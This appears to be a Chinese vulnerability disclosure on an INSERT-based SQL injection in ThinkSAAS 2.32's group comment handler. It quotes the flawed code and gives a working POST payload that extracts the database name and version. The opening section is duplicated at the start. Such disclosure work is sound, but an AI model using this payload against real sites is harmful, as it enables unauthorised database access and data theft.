### 简要描述: ThinkSAAS SQL注入 ### 详细说明: 版本 ThinkSAAS 2.32 目前最新版。 app\group\action\do.php 281行 ``` //回复评论 case "recomment": if($_POST['token'] != $_SESSION['token']) { echo 1;exit; } $referid = intval($_POST['referid']); $topicid = intval($_POST['topicid']); $content = tsClean($_POST['content']); $addtime = time(); $db->query("insert into ".dbprefix."group_topic_comment (`referid`,`topicid`,`userid`,`content`,`addtime`) values ('$referid','$topicid','$userid','$content','$addtime')");//---------------注入在这里 //统计评论数 $count_comment = $db->once_num_rows("select * from ".dbprefix."group_topic_comment where topicid='$topicid'"); //更新帖子最后回应时间和评论数 $uptime = time(); $db->query("update ".dbprefix."group_topic set uptime='$uptime',count_comment='$count_comment' where topicid='$topicid'"); $strTopic = $db->once_fetch_assoc("select * from ".dbprefix."group_topic where topicid='$topicid'"); $strComment = $db->once_fetch_assoc("select * from ".dbprefix."group_topic_comment where...
### 简要描述: ThinkSAAS SQL注入 ### 详细说明: 版本 ThinkSAAS 2.32 目前最新版。 app\group\action\do.php 281行 ``` //回复评论 case "recomment": if($_POST['token'] != $_SESSION['token']) { echo 1;exit; } $referid = intval($_POST['referid']); $topicid = intval($_POST['topicid']); $content = tsClean($_POST['content']); $addtime = time(); $db->query("insert into ".dbprefix."group_topic_comment (`referid`,`topicid`,`userid`,`content`,`addtime`) values ('$referid','$topicid','$userid','$content','$addtime')");//---------------注入在这里 //统计评论数 $count_comment = $db->once_num_rows("select * from ".dbprefix."group_topic_comment where topicid='$topicid'"); //更新帖子最后回应时间和评论数 $uptime = time(); $db->query("update ".dbprefix."group_topic set uptime='$uptime',count_comment='$count_comment' where topicid='$topicid'"); $strTopic = $db->once_fetch_assoc("select * from ".dbprefix."group_topic where topicid='$topicid'"); $strComment = $db->once_fetch_assoc("select * from ".dbprefix."group_topic_comment where commentid='$referid'"); if($topicid && $strTopic['userid'] != $TS_USER['user']['userid']){ $msg_userid = '0'; $msg_touserid = $strTopic['userid']; $msg_content = '你的帖子:《'.$strTopic['title'].'》新增一条评论,快去看看给个回复吧^_^ <br />'.tsUrl('group','topic',array('id'=>$topicid)); aac('message')->sendmsg($msg_userid,$msg_touserid,$msg_content); } if($referid && $strComment['userid'] != $TS_USER['user']['userid']){ $msg_userid = '0'; $msg_touserid = $strComment['userid']; $msg_content = '有人评论了你在帖子:《'.$strTopic['title'].'》中的回复,快去看看给个回复吧^_^ <br />'.tsUrl('group','topic',array('id'=>$topicid)); aac('message')->sendmsg($msg_userid,$msg_touserid,$msg_content); } echo 0;exit; break; ``` post变量全局做了转义,$content = tsClean($_POST['content']);这行去除了转义,导致可绕过单引号限制。 tsClean除去转义后做了一些过滤,但不影响注入。 ``` function tsClean($text) { $text = stripslashes(trim($text));//--------转义在这 //去除前后空格,并去除反斜杠 //$text = br2nl($text); //将br转换成/n ``` $_POST['content']变成$content并带入sql语句。 复现过程: 新建小组,发布帖子,访问http://127.0.0.1/thinksaas/index.php?app=group&ac=topic&id=1 (id为小组帖子的id) 接着发送如下请求: ``` http://127.0.0.1/thinksaas/index.php?app=group&ac=do&ts=recomment post数据:token=5a64c8da0a7550eca1e841033f1cc294bcc60913&referid=1&topicid=1&content=\:',11),('22',1,'1',(select concat((DATABASE()),char(45),(VERSION()))),11),(1,1,3,' ``` 最后会执行这样的sql语句。 ``` insert into ts_group_topic_comment (`referid`,`topicid`,`userid`,`content`,`addtime`) values ('1','1','1',' <p>\:',11),('22',1,'1',(select concat((DATABASE()),char(45),(VERSION()))),11),(1,1,3,'</p> ','1429281506') ``` 因为是insert类型的注入,我通过写入3条数据来实现利用。 ``` \:',11)用来闭合第一条记录,因为addtime是int型,无法写入string,难利用。 ``` ``` ('22',1,'1',(select concat((DATABASE()),char(45),(VERSION()))),11)用来注入拿到数据。 ``` ``` (1,1,3,'用来闭合最后的内容,因为tsClean($_POST['content']);后前后会被加入回车和<p>,导致sql语句被分成3行,能控制的数据只在第二行,所以构造这个闭合成完整sql语句。 ``` 数据包中token可以在http://127.0.0.1/thinksaas/index.php?app=group&ac=topic&id=1获取到。准确点说,post数据应该是这样: ``` token=token值&referid=1&topicid=帖子id&content=\:',11),('22',帖子id ,'1',(select concat((DATABASE()),char(45),(VERSION()))),11),(1,帖子id,3,' ``` 发送注入请求: [<img src="https://images.seebug.org/upload/201504/25104639b9b8c6c797a9c63a2fc5124f2da1d574.png" alt="aaa.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/25104639b9b8c6c797a9c63a2fc5124f2da1d574.png) 访问http://127.0.0.1/thinksaas/index.php?app=group&ac=topic&id=1查看注入结果,出现了3条数据。 [<img src="https://images.seebug.org/upload/201504/251047258c5dc3fe7b67a009d03f33a2cd92978a.png" alt="bbb.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/251047258c5dc3fe7b67a009d03f33a2cd92978a.png) ### 漏洞证明: 很无奈,搜索引擎上面找到的站点都被上了waf,官网demo使用加速乐,所以只做了本地复现。谅解一下。